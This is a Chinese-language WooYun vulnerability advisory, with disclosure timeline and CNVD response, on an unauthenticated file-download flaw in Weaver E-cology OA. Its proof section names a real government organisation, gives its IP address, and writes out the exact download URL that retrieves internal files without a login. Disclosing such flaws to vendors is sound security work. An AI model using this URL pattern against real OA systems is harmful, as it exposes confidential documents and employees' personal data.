漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0112675
漏洞标题：泛微的OA系统（泛微E-COLOGY）存在严重的信息安全漏洞
相关厂商：上海泛微软件有限公司
漏洞作者： 路人甲
提交时间：2015-05-08 11:37
修复时间：2015-06-26 15:12
公开时间：2015-06-26 15:12
漏洞类型：内部绝密信息泄漏
危害等级：高
自评Rank：20
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-05-08： 细节已通知厂商并且等待厂商处理中
2015-05-12： 厂商已经确认，细节仅向厂商公开
2015-05-22： 细节向核心白帽子及相关领域专家公开
2015-06-01： 细节向普通白帽子公开
2015-06-11： 细节向实习白帽子公开
2015-06-26： 细节向公众公开
简要描述：
请泛微公司尽快修复其所有客户购买的OA办公系统的信息安全漏洞，防止其客户的企业内部信息大量泄露！
详细说明：
漏洞主要体现：
任何知道其BUG的人，在不登陆OA系统的情况下，可以通过BUG把OA系统内的员工照片、工资单、流程附件、公司上传的内部文档下载到电脑上。
漏洞证明：
这个漏洞涉及各个领域的公司企业，有些OA入口没找到，这次就只提供泛微客户案例中的其中一家公司“山西省经济和信息委员会”当白老鼠。
OA入口：http://59.49.15.130:82/wui/theme/ecology7/page/login.jsp?templateId=1
操作方法：
域名的地址：http://59.49.15.130:82/
加上漏洞的地址：/weaver/weaver.file.FileDownload?fileid=12
组合成漏洞URL：http://59.49.15.130:82/weaver/weaver.file.FileDownload?fileid=12
在IE上打开漏洞URL，就能下载到其OA系统里上传的资产表单，如下图
修复方案：
请泛微公司修复已出售的OA产品上的BUG问题，要对所有客户负责！
版权声明：转载请注明来源 路人甲@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：10
确认时间：2015-05-12 15:11
厂商回复：
CNVD确认所述情况，已经由CNVD通过以往建立的处置渠道向软件生产厂商通报。
最新状态：
暂无